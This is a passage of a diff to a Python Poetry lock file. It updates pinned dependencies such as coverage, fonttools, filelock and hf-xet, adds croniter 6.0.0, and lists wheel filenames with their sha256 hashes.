"sha256:6e73933e296634e520390c44758d553d3b573b321608118363e52113790633b9"}, + {file = "coverage-7.10.4-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:52073d4b08d2cb571234c8a71eb32af3c6923149cf644a51d5957ac128cf6aa4"}, + {file = "coverage-7.10.4-cp313-cp313t-win32.whl", hash = "sha256:e24afb178f21f9ceb1aefbc73eb524769aa9b504a42b26857243f881af56880c"}, + {file = "coverage-7.10.4-cp313-cp313t-win_amd64.whl", hash = "sha256:be04507ff1ad206f4be3d156a674e3fb84bbb751ea1b23b142979ac9eebaa15f"}, + {file = "coverage-7.10.4-cp313-cp313t-win_arm64.whl", hash = "sha256:f3e3ff3f69d02b5dad67a6eac68cc9c71ae343b6328aae96e914f9f2f23a22e2"}, + {file = "coverage-7.10.4-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:a59fe0af7dd7211ba595cf7e2867458381f7e5d7b4cffe46274e0b2f5b9f4eb4"}, + {file = "coverage-7.10.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:3a6c35c5b70f569ee38dc3350cd14fdd0347a8b389a18bb37538cc43e6f730e6"}, + {file = "coverage-7.10.4-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:acb7baf49f513554c4af6ef8e2bd6e8ac74e6ea0c7386df8b3eb586d82ccccc4"}, + {file = "coverage-7.10.4-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:a89afecec1ed12ac13ed203238b560cbfad3522bae37d91c102e690b8b1dc46c"}, + {file = "coverage-7.10.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:480442727f464407d8ade6e677b7f21f3b96a9838ab541b9a28ce9e44123c14e"}, + {file = "coverage-7.10.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a89bf193707f4a17f1ed461504031074d87f035153239f16ce86dfb8f8c7ac76"}, + {file = "coverage-7.10.4-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:3ddd912c2fc440f0fb3229e764feec85669d5d80a988ff1b336a27d73f63c818"}, + {file = "coverage-7.10.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:8a538944ee3a42265e61c7298aeba9ea43f31c01271cf028f437a7b4075592cf"}, + {file = "coverage-7.10.4-cp314-cp314-win32.whl", hash = "sha256:fd2e6002be1c62476eb862b8514b1ba7e7684c50165f2a8d389e77da6c9a2ebd"}, + {file = "coverage-7.10.4-cp314-cp314-win_amd64.whl", hash = "sha256:ec113277f2b5cf188d95fb66a65c7431f2b9192ee7e6ec9b72b30bbfb53c244a"}, + {file = "coverage-7.10.4-cp314-cp314-win_arm64.whl", hash = "sha256:9744954bfd387796c6a091b50d55ca7cac3d08767795b5eec69ad0f7dbf12d38"}, + {file = "coverage-7.10.4-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:5af4829904dda6aabb54a23879f0f4412094ba9ef153aaa464e3c1b1c9bc98e6"}, + {file = "coverage-7.10.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7bba5ed85e034831fac761ae506c0644d24fd5594727e174b5a73aff343a7508"}, + {file = "coverage-7.10.4-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d57d555b0719834b55ad35045de6cc80fc2b28e05adb6b03c98479f9553b387f"}, + {file = "coverage-7.10.4-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:ba62c51a72048bb1ea72db265e6bd8beaabf9809cd2125bbb5306c6ce105f214"}, + {file = "coverage-7.10.4-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0acf0c62a6095f07e9db4ec365cc58c0ef5babb757e54745a1aa2ea2a2564af1"}, + {file = "coverage-7.10.4-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e1033bf0f763f5cf49ffe6594314b11027dcc1073ac590b415ea93463466deec"}, + {file = "coverage-7.10.4-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:92c29eff894832b6a40da1789b1f252305af921750b03ee4535919db9179453d"}, + {file = "coverage-7.10.4-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:822c4c830989c2093527e92acd97be4638a44eb042b1bdc0e7a278d84a070bd3"}, + {file = "coverage-7.10.4-cp314-cp314t-win32.whl", hash = "sha256:e694d855dac2e7cf194ba33653e4ba7aad7267a802a7b3fc4347d0517d5d65cd"}, + {file = "coverage-7.10.4-cp314-cp314t-win_amd64.whl", hash = "sha256:efcc54b38ef7d5bfa98050f220b415bc5bb3d432bd6350a861cf6da0ede2cdcd"}, + {file = "coverage-7.10.4-cp314-cp314t-win_arm64.whl", hash = "sha256:6f3a3496c0fa26bfac4ebc458747b778cff201c8ae94fa05e1391bab0dbc473c"}, + {file = "coverage-7.10.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:48fd4d52600c2a9d5622e52dfae674a7845c5e1dceaf68b88c99feb511fbcfd6"}, + {file = "coverage-7.10.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:56217b470d09d69e6b7dcae38200f95e389a77db801cb129101697a4553b18b6"}, + {file = "coverage-7.10.4-cp39-cp39-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:44ac3f21a6e28c5ff7f7a47bca5f87885f6a1e623e637899125ba47acd87334d"}, + {file = "coverage-7.10.4-cp39-cp39-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:3387739d72c84d17b4d2f7348749cac2e6700e7152026912b60998ee9a40066b"}, + {file = "coverage-7.10.4-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3f111ff20d9a6348e0125be892608e33408dd268f73b020940dfa8511ad05503"}, + {file = "coverage-7.10.4-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:01a852f0a9859734b018a3f483cc962d0b381d48d350b1a0c47d618c73a0c398"}, + {file = "coverage-7.10.4-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:225111dd06759ba4e37cee4c0b4f3df2b15c879e9e3c37bf986389300b9917c3"}, + {file = "coverage-7.10.4-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2178d4183bd1ba608f0bb12e71e55838ba1b7dbb730264f8b08de9f8ef0c27d0"}, + {file = "coverage-7.10.4-cp39-cp39-win32.whl", hash = "sha256:93d175fe81913aee7a6ea430abbdf2a79f1d9fd451610e12e334e4fe3264f563"}, + {file = "coverage-7.10.4-cp39-cp39-win_amd64.whl", hash = "sha256:2221a823404bb941c7721cf0ef55ac6ee5c25d905beb60c0bba5e5e85415d353"}, + {file = "coverage-7.10.4-py3-none-any.whl", hash = "sha256:065d75447228d05121e5c938ca8f0e91eed60a1eb2d1258d42d5084fecfc3302"}, + {file = "coverage-7.10.4.tar.gz", hash = "sha256:25f5130af6c8e7297fd14634955ba9e1697f47143f289e2a23284177c0061d27"}, ] [package.extras] toml = ["tomli"] +[[package]] +name = "croniter" +version = "6.0.0" +description = "croniter provides iteration for datetime object with cron like format" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,>=2.6" +groups = ["main"] +files = [ + {file = "croniter-6.0.0-py2.py3-none-any.whl", hash = "sha256:2f878c3856f17896979b2a4379ba1f09c83e374931ea15cc835c5dd2eee9b368"}, + {file = "croniter-6.0.0.tar.gz", hash = "sha256:37c504b313956114a983ece2c2b07790b1f1094fe9d81cc94739214748255577"}, +] + +[package.dependencies] +python-dateutil = "*" +pytz = ">2021.1" + [[package]] name = "cryptography" version = "43.0.3" @@ -1260,21 +1276,16 @@ pydantic = {version = ">=1.8.0", extras = ["email"]} [[package]] name = "filelock" -version = "3.18.0" +version = "3.19.1" description = "A platform independent file lock." optional = false python-versions = ">=3.9" groups = ["main", "dev"] files = [ - {file = "filelock-3.18.0-py3-none-any.whl", hash = "sha256:c401f4f8377c4464e6db25fff06205fd89bdd83b65eb0488ed1b160f780e21de"}, - {file = "filelock-3.18.0.tar.gz", hash = "sha256:adbc88eabb99d2fec8c9c1b229b171f18afa655400173ddc653d5d01501fb9f2"}, + {file = "filelock-3.19.1-py3-none-any.whl", hash = "sha256:d38e30481def20772f5baf097c122c3babc4fcdb7e14e57049eb9d88c6dc017d"}, + {file = "filelock-3.19.1.tar.gz", hash = "sha256:66eda1888b0171c998b35be2bcc0f6d75c388a7ce20c3f3f37aa8e96c2dddf58"}, ] -[package.extras] -docs = ["furo (>=2024.8.6)", "sphinx (>=8.1.3)", "sphinx-autodoc-typehints (>=3)"] -testing = ["covdefaults (>=2.3)", "coverage (>=7.6.10)", "diff-cover (>=9.2.1)", "pytest (>=8.3.4)", "pytest-asyncio (>=0.25.2)", "pytest-cov (>=6)", "pytest-mock (>=3.14)", "pytest-timeout (>=2.3.1)", "virtualenv (>=20.28.1)"] -typing = ["typing-extensions (>=4.12.2)"] - [[package]] name = "flake8" version = "7.3.0" @@ -1294,54 +1305,70 @@ pyflakes = ">=3.4.0,<3.5.0" [[package]] name = "fonttools" -version = "4.59.0" +version = "4.59.1" description = "Tools to manipulate font files" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "fonttools-4.59.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:524133c1be38445c5c0575eacea42dbd44374b310b1ffc4b60ff01d881fabb96"}, - {file = "fonttools-4.59.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:21e606b2d38fed938dde871c5736822dd6bda7a4631b92e509a1f5cd1b90c5df"}, - {file = "fonttools-4.59.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e93df708c69a193fc7987192f94df250f83f3851fda49413f02ba5dded639482"}, - {file = "fonttools-4.59.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:62224a9bb85b4b66d1b46d45cbe43d71cbf8f527d332b177e3b96191ffbc1e64"}, - {file = "fonttools-4.59.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:b8974b2a266b54c96709bd5e239979cddfd2dbceed331aa567ea1d7c4a2202db"}, - {file = "fonttools-4.59.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:209b75943d158f610b78320eacb5539aa9e920bee2c775445b2846c65d20e19d"}, - {file = "fonttools-4.59.0-cp310-cp310-win32.whl", hash = "sha256:4c908a7036f0f3677f8afa577bcd973e3e20ddd2f7c42a33208d18bee95cdb6f"}, - {file = "fonttools-4.59.0-cp310-cp310-win_amd64.whl", hash = "sha256:8b4309a2775e4feee7356e63b163969a215d663399cce1b3d3b65e7ec2d9680e"}, - {file = "fonttools-4.59.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:841b2186adce48903c0fef235421ae21549020eca942c1da773ac380b056ab3c"}, - {file = "fonttools-4.59.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9bcc1e77fbd1609198966ded6b2a9897bd6c6bcbd2287a2fc7d75f1a254179c5"}, - {file = "fonttools-4.59.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:37c377f7cb2ab2eca8a0b319c68146d34a339792f9420fca6cd49cf28d370705"}, - {file = "fonttools-4.59.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fa39475eaccb98f9199eccfda4298abaf35ae0caec676ffc25b3a5e224044464"}, - {file = "fonttools-4.59.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d3972b13148c1d1fbc092b27678a33b3080d1ac0ca305742b0119b75f9e87e38"}, - {file = "fonttools-4.59.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a408c3c51358c89b29cfa5317cf11518b7ce5de1717abb55c5ae2d2921027de6"}, - {file = "fonttools-4.59.0-cp311-cp311-win32.whl", hash = "sha256:6770d7da00f358183d8fd5c4615436189e4f683bdb6affb02cad3d221d7bb757"}, - {file = "fonttools-4.59.0-cp311-cp311-win_amd64.whl", hash = "sha256:84fc186980231a287b28560d3123bd255d3c6b6659828c642b4cf961e2b923d0"}, - {file = "fonttools-4.59.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:f9b3a78f69dcbd803cf2fb3f972779875b244c1115481dfbdd567b2c22b31f6b"}, - {file = "fonttools-4.59.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:57bb7e26928573ee7c6504f54c05860d867fd35e675769f3ce01b52af38d48e2"}, - {file = "fonttools-4.59.0-cp312-cp312-manylinux1_x86_64.manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:4536f2695fe5c1ffb528d84a35a7d3967e5558d2af58b4775e7ab1449d65767b"}, - {file = "fonttools-4.59.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:885bde7d26e5b40e15c47bd5def48b38cbd50830a65f98122a8fb90962af7cd1"}, - {file = "fonttools-4.59.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:6801aeddb6acb2c42eafa45bc1cb98ba236871ae6f33f31e984670b749a8e58e"}, - {file = "fonttools-4.59.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:31003b6a10f70742a63126b80863ab48175fb8272a18ca0846c0482968f0588e"}, - {file = "fonttools-4.59.0-cp312-cp312-win32.whl", hash = "sha256:fbce6dae41b692a5973d0f2158f782b9ad05babc2c2019a970a1094a23909b1b"}, - {file = "fonttools-4.59.0-cp312-cp312-win_amd64.whl", hash = "sha256:332bfe685d1ac58ca8d62b8d6c71c2e52a6c64bc218dc8f7825c9ea51385aa01"}, - {file = "fonttools-4.59.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:78813b49d749e1bb4db1c57f2d4d7e6db22c253cb0a86ad819f5dc197710d4b2"}, - {file = "fonttools-4.59.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:401b1941ce37e78b8fd119b419b617277c65ae9417742a63282257434fd68ea2"}, - {file = "fonttools-4.59.0-cp313-cp313-manylinux1_x86_64.manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:efd7e6660674e234e29937bc1481dceb7e0336bfae75b856b4fb272b5093c5d4"}, - {file = "fonttools-4.59.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:51ab1ff33c19e336c02dee1e9fd1abd974a4ca3d8f7eef2a104d0816a241ce97"}, - {file = "fonttools-4.59.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a9bf8adc9e1f3012edc8f09b08336272aec0c55bc677422273e21280db748f7c"}, - {file = "fonttools-4.59.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:37e01c6ec0c98599778c2e688350d624fa4770fbd6144551bd5e032f1199171c"}, - {file = "fonttools-4.59.0-cp313-cp313-win32.whl", hash = "sha256:70d6b3ceaa9cc5a6ac52884f3b3d9544e8e231e95b23f138bdb78e6d4dc0eae3"}, - {file = "fonttools-4.59.0-cp313-cp313-win_amd64.whl", hash = "sha256:26731739daa23b872643f0e4072d5939960237d540c35c14e6a06d47d71ca8fe"}, - {file = "fonttools-4.59.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:8d77f92438daeaddc05682f0f3dac90c5b9829bcac75b57e8ce09cb67786073c"}, - {file = "fonttools-4.59.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:60f6665579e909b618282f3c14fa0b80570fbf1ee0e67678b9a9d43aa5d67a37"}, - {file = "fonttools-4.59.0-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:169b99a2553a227f7b5fea8d9ecd673aa258617f466b2abc6091fe4512a0dcd0"}, - {file = "fonttools-4.59.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:052444a5d0151878e87e3e512a1aa1a0ab35ee4c28afde0a778e23b0ace4a7de"}, - {file = "fonttools-4.59.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:d40dcf533ca481355aa7b682e9e079f766f35715defa4929aeb5597f9604272e"}, - {file = "fonttools-4.59.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:b818db35879d2edf7f46c7e729c700a0bce03b61b9412f5a7118406687cb151d"}, - {file = "fonttools-4.59.0-cp39-cp39-win32.whl", hash = "sha256:2e7cf8044ce2598bb87e44ba1d2c6e45d7a8decf56055b92906dc53f67c76d64"}, - {file = "fonttools-4.59.0-cp39-cp39-win_amd64.whl", hash = "sha256:902425f5afe28572d65d2bf9c33edd5265c612ff82c69e6f83ea13eafc0dcbea"}, - {file = "fonttools-4.59.0-py3-none-any.whl", hash = "sha256:241313683afd3baacb32a6bd124d0bce7404bc5280e12e291bae1b9bba28711d"}, - {file = "fonttools-4.59.0.tar.gz", hash = "sha256:be392ec3529e2f57faa28709d60723a763904f71a2b63aabe14fee6648fe3b14"}, + {file = "fonttools-4.59.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:e90a89e52deb56b928e761bb5b5f65f13f669bfd96ed5962975debea09776a23"}, + {file = "fonttools-4.59.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5d29ab70658d2ec19422b25e6ace00a0b0ae4181ee31e03335eaef53907d2d83"}, + {file = "fonttools-4.59.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:94f9721a564978a10d5c12927f99170d18e9a32e5a727c61eae56f956a4d118b"}, + {file = "fonttools-4.59.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8c8758a7d97848fc8b514b3d9b4cb95243714b2f838dde5e1e3c007375de6214"}, + {file = "fonttools-4.59.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:2aeb829ad9d41a2ef17cab8bb5d186049ba38a840f10352e654aa9062ec32dc1"}, + {file = "fonttools-4.59.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:ac216a2980a2d2b3b88c68a24f8a9bfb203e2490e991b3238502ad8f1e7bfed0"}, + {file = "fonttools-4.59.1-cp310-cp310-win32.whl", hash = "sha256:d31dc137ed8ec71dbc446949eba9035926e6e967b90378805dcf667ff57cabb1"}, + {file = "fonttools-4.59.1-cp310-cp310-win_amd64.whl", hash = "sha256:5265bc52ed447187d39891b5f21d7217722735d0de9fe81326566570d12851a9"}, + {file = "fonttools-4.59.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:4909cce2e35706f3d18c54d3dcce0414ba5e0fb436a454dffec459c61653b513"}, + {file = "fonttools-4.59.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:efbec204fa9f877641747f2d9612b2b656071390d7a7ef07a9dbf0ecf9c7195c"}, + {file = "fonttools-4.59.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:39dfd42cc2dc647b2c5469bc7a5b234d9a49e72565b96dd14ae6f11c2c59ef15"}, + {file = "fonttools-4.59.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b11bc177a0d428b37890825d7d025040d591aa833f85f8d8878ed183354f47df"}, + {file = "fonttools-4.59.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5b9b4c35b3be45e5bc774d3fc9608bbf4f9a8d371103b858c80edbeed31dd5aa"}, + {file = "fonttools-4.59.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:01158376b8a418a0bae9625c476cebfcfcb5e6761e9d243b219cd58341e7afbb"}, + {file = "fonttools-4.59.1-cp311-cp311-win32.whl", hash = "sha256:cf7c5089d37787387123f1cb8f1793a47c5e1e3d1e4e7bfbc1cc96e0f925eabe"}, + {file = "fonttools-4.59.1-cp311-cp311-win_amd64.whl", hash = "sha256:c866eef7a0ba320486ade6c32bfc12813d1a5db8567e6904fb56d3d40acc5116"}, + {file = "fonttools-4.59.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:43ab814bbba5f02a93a152ee61a04182bb5809bd2bc3609f7822e12c53ae2c91"}, + {file = "fonttools-4.59.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:4f04c3ffbfa0baafcbc550657cf83657034eb63304d27b05cff1653b448ccff6"}, + {file = "fonttools-4.59.1-cp312-cp312-manylinux1_x86_64.manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:d601b153e51a5a6221f0d4ec077b6bfc6ac35bfe6c19aeaa233d8990b2b71726"}, + {file = "fonttools-4.59.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c735e385e30278c54f43a0d056736942023c9043f84ee1021eff9fd616d17693"}, + {file = "fonttools-4.59.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1017413cdc8555dce7ee23720da490282ab7ec1cf022af90a241f33f9a49afc4"}, + {file = "fonttools-4.59.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:5c6d8d773470a5107052874341ed3c487c16ecd179976d81afed89dea5cd7406"}, + {file = "fonttools-4.59.1-cp312-cp312-win32.whl", hash = "sha256:2a2d0d33307f6ad3a2086a95dd607c202ea8852fa9fb52af9b48811154d1428a"}, + {file = "fonttools-4.59.1-cp312-cp312-win_amd64.whl", hash = "sha256:0b9e4fa7eaf046ed6ac470f6033d52c052481ff7a6e0a92373d14f556f298dc0"}, + {file = "fonttools-4.59.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:89d9957b54246c6251345297dddf77a84d2c19df96af30d2de24093bbdf0528b"}, + {file = "fonttools-4.59.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8156b11c0d5405810d216f53907bd0f8b982aa5f1e7e3127ab3be1a4062154ff"}, + {file = "fonttools-4.59.1-cp313-cp313-manylinux1_x86_64.manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8387876a8011caec52d327d5e5bca705d9399ec4b17afb8b431ec50d47c17d23"}, + {file = "fonttools-4.59.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fb13823a74b3a9204a8ed76d3d6d5ec12e64cc5bc44914eb9ff1cdac04facd43"}, + {file = "fonttools-4.59.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e1ca10da138c300f768bb68e40e5b20b6ecfbd95f91aac4cc15010b6b9d65455"}, + {file = "fonttools-4.59.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:2beb5bfc4887a3130f8625349605a3a45fe345655ce6031d1bac11017454b943"}, + {file = "fonttools-4.59.1-cp313-cp313-win32.whl", hash = "sha256:419f16d750d78e6d704bfe97b48bba2f73b15c9418f817d0cb8a9ca87a5b94bf"}, + {file = "fonttools-4.59.1-cp313-cp313-win_amd64.whl", hash = "sha256:c536f8a852e8d3fa71dde1ec03892aee50be59f7154b533f0bf3c1174cfd5126"}, + {file = "fonttools-4.59.1-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:d5c3bfdc9663f3d4b565f9cb3b8c1efb3e178186435b45105bde7328cfddd7fe"}, + {file = "fonttools-4.59.1-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:ea03f1da0d722fe3c2278a05957e6550175571a4894fbf9d178ceef4a3783d2b"}, + {file = "fonttools-4.59.1-cp314-cp314-manylinux1_x86_64.manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:57a3708ca6bfccb790f585fa6d8f29432ec329618a09ff94c16bcb3c55994643"}, + {file = "fonttools-4.59.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:729367c91eb1ee84e61a733acc485065a00590618ca31c438e7dd4d600c01486"}, + {file = "fonttools-4.59.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:8f8ef66ac6db450193ed150e10b3b45dde7aded10c5d279968bc63368027f62b"}, + {file = "fonttools-4.59.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:075f745d539a998cd92cb84c339a82e53e49114ec62aaea8307c80d3ad3aef3a"}, + {file = "fonttools-4.59.1-cp314-cp314-win32.whl", hash = "sha256:c2b0597522d4c5bb18aa5cf258746a2d4a90f25878cbe865e4d35526abd1b9fc"}, + {file = "fonttools-4.59.1-cp314-cp314-win_amd64.whl", hash = "sha256:e9ad4ce044e3236f0814c906ccce8647046cc557539661e35211faadf76f283b"}, + {file = "fonttools-4.59.1-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:652159e8214eb4856e8387ebcd6b6bd336ee258cbeb639c8be52005b122b9609"}, + {file = "fonttools-4.59.1-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:43d177cd0e847ea026fedd9f099dc917da136ed8792d142298a252836390c478"}, + {file = "fonttools-4.59.1-cp314-cp314t-manylinux1_x86_64.manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:e54437651e1440ee53a95e6ceb6ee440b67a3d348c76f45f4f48de1a5ecab019"}, + {file = "fonttools-4.59.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6065fdec8ff44c32a483fd44abe5bcdb40dd5e2571a5034b555348f2b3a52cea"}, + {file = "fonttools-4.59.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:42052b56d176f8b315fbc09259439c013c0cb2109df72447148aeda677599612"}, + {file = "fonttools-4.59.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:bcd52eaa5c4c593ae9f447c1d13e7e4a00ca21d755645efa660b6999425b3c88"}, + {file = "fonttools-4.59.1-cp314-cp314t-win32.whl", hash = "sha256:02e4fdf27c550dded10fe038a5981c29f81cb9bc649ff2eaa48e80dab8998f97"}, + {file = "fonttools-4.59.1-cp314-cp314t-win_amd64.whl", hash = "sha256:412a5fd6345872a7c249dac5bcce380393f40c1c316ac07f447bc17d51900922"}, + {file = "fonttools-4.59.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:1ab4c1fb45f2984b8b4a3face7cff0f67f9766e9414cbb6fd061e9d77819de98"}, + {file = "fonttools-4.59.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:8ee39da0227950f88626c91e219659e6cd725ede826b1c13edd85fc4cec9bbe6"}, + {file = "fonttools-4.59.1-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:58a8844f96cff35860647a65345bfca87f47a2494bfb4bef754e58c082511443"}, + {file = "fonttools-4.59.1-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:5f3f021cea6e36410874763f4a517a5e2d6ac36ca8f95521f3a9fdaad0fe73dc"}, + {file = "fonttools-4.59.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:bf5fb864f80061a40c1747e0dbc4f6e738de58dd6675b07eb80bd06a93b063c4"}, + {file = "fonttools-4.59.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:c29ea087843e27a7cffc78406d32a5abf166d92afde7890394e9e079c9b4dbe9"}, + {file = "fonttools-4.59.1-cp39-cp39-win32.whl", hash = "sha256:a960b09ff50c2e87864e83f352e5a90bcf1ad5233df579b1124660e1643de272"}, + {file = "fonttools-4.59.1-cp39-cp39-win_amd64.whl", hash = "sha256:e3680884189e2b7c3549f6d304376e64711fd15118e4b1ae81940cb6b1eaa267"}, + {file = "fonttools-4.59.1-py3-none-any.whl", hash = "sha256:647db657073672a8330608970a984d51573557f328030566521bc03415535042"}, + {file = "fonttools-4.59.1.tar.gz", hash = "sha256:74995b402ad09822a4c8002438e54940d9f1ecda898d2bb057729d7da983e4cb"}, ] [package.extras] @@ -1708,21 +1735,21 @@ files = [ [[package]] name = "hf-xet" -version = "1.1.7" +version = "1.1.8" description = "Fast transfer of large files with the Hugging Face Hub." optional = false python-versions = ">=3.8" groups = ["main"] markers = "platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"arm64\" or platform_machine == \"aarch64\"" files = [ - {file = "hf_xet-1.1.7-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:60dae4b44d520819e54e216a2505685248ec0adbdb2dd4848b17aa85a0375cde"}, - {file = "hf_xet-1.1.7-cp37-abi3-macosx_11_0_arm64.whl", hash = "sha256:b109f4c11e01c057fc82004c9e51e6cdfe2cb230637644ade40c599739067b2e"}, - {file = "hf_xet-1.1.7-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6efaaf1a5a9fc3a501d3e71e88a6bfebc69ee3a716d0e713a931c8b8d920038f"}, - {file = "hf_xet-1.1.7-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:751571540f9c1fbad9afcf222a5fb96daf2384bf821317b8bfb0c59d86078513"}, - {file = 